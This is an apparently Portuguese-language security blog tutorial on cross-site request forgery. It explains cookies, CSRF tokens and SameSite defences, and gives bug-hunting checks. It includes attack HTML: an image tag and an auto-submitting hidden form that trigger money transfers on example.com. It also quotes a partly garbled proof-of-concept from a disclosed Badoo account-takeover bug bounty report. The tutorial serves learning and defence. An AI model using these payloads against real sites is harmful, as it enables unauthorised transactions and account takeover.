CSRF – Desviando requisições dos clientes

Falaa pessoal, neste artigo vamos falar sobre um dos dinossauro das falhas web:

Sim, famigerado Cross-Site Fequest Forgery, esta vulnerabilidade é uma das mais antigas que existem, e mesmo assim uma rápida pesquisa no site de Bug Bounty hackerone retorna mais de 750 reports o que é no mínimo intrigante, como uma falha super antiga ainda gera tantos reports? É isso que analisaremos.

Primeiro, o que exatamente é esse tal de C.S.R.F?

Acredito que o melhor método de explicá-la seja fazendo um paralelo com um antigo amigo nosso: o Clickjacking, caso ainda não o conheça aqui você pode ler um artigo muito legal sobre.

Primeiro, vamos relembrar como ele funciona:

Usando um método gráfico visa-se roubar clicks do usuário, os quais serão transformados em requisições sensíveis ao servidor vulnerável, podendo assim, gerar:

  • Mudança de senha.
  • Compra de produtos.
  • Transferência de dinheiro.

O C.S.R.F possui o mesmo objetivo, entretanto, a diferença fundamental entre eles é que aqui não necessita-se de ações do usuário, caso a falha exista a transferência de dinheiro pode ser realizada mesmo que a vítima apenas acesse o site malicioso.

Mas, antes de explicar exatamente como essa falha funciona e como explorá-la vamos ter que fazer outro pequeno desvio, desta vez, para o protocolo HTTP.

Neste tópico iremos entender algumas coisas sobre Hypertext Transfer Protocol a fundamental é que ele é stateless, ou seja, ele não guarda estado, portanto não há como identificar sessões ou requisições subsequentes de um mesmo cliente, pensando nisso foram desenvolvidos os cookies.

Eles são basicamente um header que o navegador envia em todas as requisições subsequentes para domínio em que ele foi setado, independentemente de onde ela se origina.

E é aqui que mora o problema, um site malicioso pode realizar requisições sensíveis a um servidor vulnerável e os cookies da vítima serão enviados, portanto, o que para site vulnerável aparenta ser uma requisição válida é na verdade um desvio de requisições.

Okk, você pode estar meio confuso agora, então vamos usar exemplo, imagine que o site example.com utiliza de uma request do tipo GET no endpoit /send para transferir dinheiro, os parâmetros necessários são: from, to e value, caso ele seja vulnerável a C.S.R.F é possível que um site malicioso no meio de seu código HTML insira

<!DOCTYPE>
<html>
...
	<img src="https://example.com/transfer?from=thiago&to=carlos&value=1000" />
...
</html>

Caso o usuário já tenha aberto uma sessão em example.com quando acessou o site malicioso, diz-se que ele foi vítima de CSRF pois todas as informações necessárias para realizar a transferência foram enviadas na requisição.

Também é possível executar esta falha quando o endpoint necessita de uma requisição do tipo POST, neste caso, o código HTML dele ser algo parecido com

<html>
  <body>
    <form action="https://example.com/transfer" method="POST">
      <input type="hidden" name="from" value="thiago" />
      <input type="hidden" name="to" value="carlos" />
      <input type="hidden" name="value" value="1000" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

Este código funciona enviando um formulário com o método POST e com os mesmos parâmetros do caso anterior, o parâmetro action presente no form, indica para onde a requisição deve ser enviada.

Com isso terminamos a análise do funcionamento técnico da falha, mas as coisas não acabam aqui

Bora estudar os cenários reais e suas proteções

Quando se fala dos métodos de proteção contra essa falha nos vem em mente o nome token CSRF, o qual é um valor único e secreto gerado pelo servidor e enviado para o cliente em toda requisição subsequente, parecido com os cookies né?

De fato, eles são parecidos. Entretanto, há uma diferença fundamental na forma em que são enviados, por exemplo, esse token geralmente é anexado em todas as páginas por meio de um input invisível

<input 
			 type="hidden" 
			 name="csrf-token" 
			 value="CIwNZNlR4XbisJF39I8yWnWX9wX4WFoz" 
/> 

Ele também pode ser anexado como um header customizado na requisição o que o torna ainda mais parecido com os cookies, entretanto, é interessante saber que os navegadores não indexam esses headers customizados nas requisições entre domínios, portando, eles não são anexados em todas como os cookies.

Este modelo de segurança é pouco usado, mas acho interessante comentar sobre ele, alguns sistemas usam como validação além do token a presença ou valor do header Referer o que, teoricamente, permitiria apenas que alguns sites realizassem chamadas efetivas ao servidor.

Para encerrar os métodos de proteção com chave de ouro vamos falar das políticas de SameOrigin, nela o navegador impede que requisições entre domínios sejam feitas permitindo apenas requests feitas para o mesmo domínio protocolo e porta.

Um método parecido também pode ser aplicado aos cookies, o que fornece uma cada a mais de segurança, neste caso os cookies são setados da seguinte forma:

Set-Cookie: SessionId=sYMnfCUrAlmqVVZn9dqevxyFpKZt30NN; SameSite=Strict;

Set-Cookie: SessionId=sYMnfCUrAlmqVVZn9dqevxyFpKZt30NN; SameSite=Lax;

Na primeira configuração o cookie só pode ser incluído em requisições que originam do mesmo domínio, na segunda, ele só é incluído quando a solicitação é do tipo GET e gerada por um click.

Por fim bora analisar analisar alguns casos de CSRF bem como alguns exemplos reais.

O mais interessante desta falha é que mesmo com o token presente não há garantia de que a aplicação realmente está segura, por isto quando estiver procurando esta falha verifique se

  • O token realmente está sendo validado no Server-Side, ou está aqui apenas de enfeite?
    • Como se dá essa validação?
      • Ela depende do método da requisição?
      • Ela depende da presença do token?
      • Ela vincula a sessão ao token?
  • O token está presente nos cookies?
  • Há validação por cabeçalho referer? Como se dá essa validação? Ela depende apenas da presença do header?
    • Como se dá essa validação?
      • Ela depende apenas da presença do header?
      • Ela verifica apenas se o nome do domínio está contido no valor do header?
      • Ela verifica apenas se o nome do domínio está contido no valor do header?
  • O token está sendo vazado em algum endpoint?

Bom, era isto que eu gostaria de explicar para vocês sobre o CSRF mas o artigo ainda não acabou não, chegou a hora de

Exemplo de report

Neste report o hunter zombiehelp54 encontrou um CSRF no site Bumble que permitia realizar um account takeover em qualquer conta do badoo, na análise ele percebeu que quando tentava-se vincular uma conta do gmail à uma rede social como o facebook, gmail e etc o usuário era redirecionado para

https://eu1.badoo.com/google/verify.phtml?rt=<State_param_value>&code=<Code_returned_from_google>

Onde, o único parâmetro que protegia a sessão era o rt, após procurar um pouco encontrou um endpoint que vazava esse valor, sendo ele

https://eu1.badoo.com/worker-scope/chrome-service-worker.js

Portanto, bastava realizar uma chamada para este valor e inseri-lo em uma requisição, conforme ele reproduziu em sua PoC.

<html>
<head>
<title> Controle de conta do Badoo </title>
<script src = https: //eu1.badoo.com/worker-scope/chrome-service-worker.js? ws = 1> </script>
</head>
<body>
<script>
function getCSRFcode (str) {
    return str.split ('=') [2];
}
window.onload = function () {
var csrf_code = getCSRFcode (url_stats);
csrf_url = 'https://eu1.badoo.com/google/verify.phtml?code=4/nprfspM3yfn2SFUBear08KQaXo609JkArgoju1gZ6Pc&authuser=3&session_state=7cb85df679219ce7104466rcdddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd edd
window.location = csrf_url;
};
</script>

Agora, caso o invasor vinculasse sua conta de gmail à da vítima ele podia fazer login nela e alterar o que quisesse.

Por este report o hunter recebeu um bounty de $852.

0 Compart.
Twittar
Compartilhar
Compartilhar
Pin